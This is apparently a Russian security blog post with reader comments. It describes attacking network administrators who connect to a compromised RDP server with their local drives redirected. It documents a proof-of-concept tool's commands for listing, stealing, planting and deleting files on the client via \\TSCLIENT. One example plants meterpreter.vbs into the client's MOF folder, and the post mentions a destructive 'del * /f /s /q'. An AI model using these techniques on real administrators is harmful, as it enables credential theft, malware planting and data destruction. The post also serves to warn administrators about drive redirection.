Охота на администраторов сети

Рабочая станция любого среднестатистического повелителя сети (или повелителя отдельной ее части) является наиболее ценным и лакомым ресурсом для атакующего. Тут вам и резервные копии конфигураций продуктивных систем, и красочная топология сети с указанием наиболее ценных ресурсов, и, разумеется, заветные логины, ключики и пароли. Прям подарочная не зашифрованная коробка, перевязанная бантиком 8)) Если добавить сюда еще и "скромные" разрешающие правила фильтрации трафика на границах сетей с козырных ip адресов админов, тогда можно понять насколько сильно атакующий жаждет заполучить доступ к этим системам. Это отличный плацдарм для планирования и развития атаки!

Но как же добраться до компутера админа и вместе с тем заполучить ключи от всех дверей? Существует довольно много способов. Об одном из них речь пойдет в данной публикации.

Представьте себе ситуацию, когда большинство попыток реализации атак не увенчались успехом. При этом в распоряжении атакующего оказались лишь несколько тестовых автономных серверов без каких либо ценностей на них (пароли дефолты и т.п.), пускай в т.ч., расположенные в изолированном сегменте за семью файрволами и пятью айпиэсами. Что из этого можно выжать?

Когда речь заходит про удаленный доступ к машинкам на платформе windows, то чаще всего прибегают к встроенному функционалу операционной системы - использованию протокола RDP. А когда возникает потребность в передаче файлов небольшого размера, то разумеется задействуют следующую функцию rdp-клиента:


(прим., в более поздних реализациях клиента была добавлена возможность выбора конкретных дисков для подключения)

Тут-то и кроется опасность, о которой предупреждает сам rdp-клиент. Тем не менее все администраторы зачастую не обращают на это уже изрядно поднадоевшее сообщение безопасности никакого внимания (так ведь действительно проще, удобнее и быстрее!).


Теперь я думаю всем стало понятно про предлагаемый мною сценарий атаки. Соглашаясь на подключение к недоверенному rdp-серверу с торчащими дисками C:\ можно лишиться чувствительных данных, подцепить meterpreter (или чего еще более живучее), поймать del * /f /s /q.

В качестве демонстрации этого привожу proof-of-concept, который будучи заброшенный в автозагрузку при подключении терминальных пользователей на скомпрометированном сервере позволяет работать с локальными и сетевыми дисками клиента. 

Настраиваемые переменные
tFolder - задает путь к рабочему каталогу на терминальном сервере
sleep - задает время задержки между обработкой новых команд

Поддерживаемые команды
Чтобы отправить команду, необходимо воспользоваться файлом "cmd.txt". Каждая строка в этом файле воспринимается, как отдельная команда, что позволяет задавать одновременно более одной команды. Для каждого терминального клиента создается свой уникальный каталог по имени rdp-подключения (RDP-Tcp#<порядковый номер>) и свой "cmd.txt" файл соответственно. Копирование и загрузка файлов производится для каждого терминального клиента в его индивидуальном каталоге.

ls:<путь до каталога>
Листинг файлов и директорий. Пример:
ls:\\TSCLIENT\C
...
>ls \\TSCLIENT\C
<DIR> Documents and Settings
<DIR> Program Files
<DIR> RECYCLER
<DIR> System Volume Information
<DIR> Temp
<DIR> WINDOWS
<DIR> wmpub
AUTOEXEC.BAT
boot.ini
bootfont.bin
CONFIG.SYS
IO.SYS
MSDOS.SYS
NTDETECT.COM
ntldr
pagefile.sys
...

ll:<путь до каталога>
Рекурсивный листинг файлов и директорий. Пример:
ll:\\TSCLIENT\C\Temp
...
>ll \\TSCLIENT\C\Temp
<DIR> RDP-Tcp#2
<DIR> RDP-Tcp#3

>ls \\tsclient\c\Temp\RDP-Tcp#2
cmd.txt
list.txt

>ls \\tsclient\c\Temp\RDP-Tcp#3
cmd.txt
list.txt
...

get:<путь до каталога или файла>
Копирует файл или каталог в рабочую директорию из которой выполнялась команда. Пример:
get:\\TSCLIENT\C\Windows\repair


put:<имя файла для отправки>:<путь до каталога назначения>
Копирует файл, расположенный в рабочей директории, из которой выполнялась команда в каталог назначения. Пример:
put:meterpreter.vbs:\\TSCLIENT\C\Windows\System32\wbem\mof


rm:<путь до удаляемого файла>
Удаляет указанный файл. Пример:
rm:\\TSCLIENT\C\myfile

5 комментариев :

  1. Сработает такая атака если не компроментируется не какой-то из работающих серверов, а создается новый сервер терминалов, RDP ссылка на него и она подсовывается админу с просьбой зайти посмотреть?!

    ОтветитьУдалить
    Ответы
    1. Да, при условии, что админ не отключит подключение дисков для этого соединения и в прошлом грешил этим в отношении других серверов.

      Удалить
  2. Ни разу не подключал таким образом свои диски. Это неправильные админы )

    ОтветитьУдалить
  3. А если попытаться заюзать для этих целей rdpclip, который, как известно позволяет начиная с 2008, не только буфер обмена переносить, но и файлы передавать? :)

    ОтветитьУдалить
  4. Интересная статья. Спасибо!

    ОтветитьУдалить